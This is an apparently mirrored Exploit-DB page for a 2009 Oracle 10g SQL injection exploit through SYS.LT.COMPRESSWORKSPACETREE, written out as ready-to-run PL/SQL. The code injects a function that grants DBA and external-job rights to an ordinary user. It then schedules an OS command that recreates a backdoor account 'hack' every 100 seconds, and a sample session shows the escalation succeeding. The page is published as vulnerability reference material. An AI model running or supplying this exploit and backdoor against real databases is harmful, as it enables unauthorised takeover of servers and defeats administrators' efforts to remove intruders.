Lucene search
K

Oracle 10g - 'SYS.LT.COMPRESSWORKSPACETREE' SQL Injection (1)

🗓️ 06 Jan 2009 00:00:00Reported by sh2kerrType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Exploit grant DBA and create new OS use

Code
/*********************************************************/
/*Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Exploit**/
/**grant DBA and create new  OS user (using scheduller)***/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using scheduler*******************************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009               */
/* Written by:             Alexandr "Sh2kerr" Polyakov   */
/* email:                  [email protected]     */
/* site:                   http://www.dsecrg.ru          */
/*                         http://www.dsec.ru            */
/*********************************************************/
/*Original Advisory:                                     */
/*Esteban Martinez Fayo [Team SHATTER ]                  */
/*Date of Public Advisory: November 11, 2008             */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/

select * from user_role_privs;

CREATE OR REPLACE FUNCTION Z return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE ANY JOB TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE EXTERNAL JOB SCOTT';
COMMIT;
RETURN 'Z';
END;
/

exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Z()=''Z');
exec SYS.LT.COMPRESSWORKSPACETREE('sh2kerr'' and SCOTT.Z()=''Z');


/* We create backdored OS user "hack" with password 12345 using External Job's  */
/* Note that in this method new user will be created every 100 seconds          */
/* so if administrator find it and will try to delete it                        */
/* user hack will be created again. So it is also a simle backdoor              */

BEGIN
	DBMS_SCHEDULER.CREATE_PROGRAM (
	program_name=> 'MyCmd',
	program_type=> 'EXECUTABLE',
	program_action =>Â’cmd /c "net user hack 12345 /add"Â’,
	enabled=> TRUE);
END;
/

BEGIN
DBMS_SCHEDULER.CREATE_JOB (
   job_name=> 'extjobexec',
   program_name=> 'MyCmd',
   repeat_interval=> 'FREQ=SECONDLY;INTERVAL=100',
   enabled=> TRUE,
   comments=> 'create backdoor user every 100 seconds');
END;
/


/* here we can paste any OS command for example create new user */

exec dbms_scheduler.run_job('extjobexec');
/

select * from user_role_privs;















---------------------------------------------------------------------------------
-----------------------------EXAMPLE OF EXPLOITATION ----------------------------
---------------------------------------------------------------------------------


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
OUTLN                          CONNECT                        NO  YES NO
OUTLN                          RESOURCE                       NO  YES NO

SQL> CREATE OR REPLACE FUNCTION X return varchar2
  2  authid current_user as
  3  pragma autonomous_transaction;
  4  BEGIN
  5  EXECUTE IMMEDIATE 'GRANT DBA TO OUTLN';
  6  COMMIT;
  7  RETURN 'x';
  8  END;
  9  /

Function created.



SQL> exec SYS.LT.CREATEWORKSPACE('zz'' and outln.X()=''x')

PL/SQL procedure successfully completed.

SQL> exec SYS.LT.REMOVEWORKSPACE('zz'' and outln.X()=''x')

PL/SQL procedure successfully completed.

SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
OUTLN                          CONNECT                        NO  YES NO
OUTLN                          DBA                            NO  YES NO
OUTLN                          RESOURCE                       NO  YES NO

SQL>

// milw0rm.com [2009-01-06]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation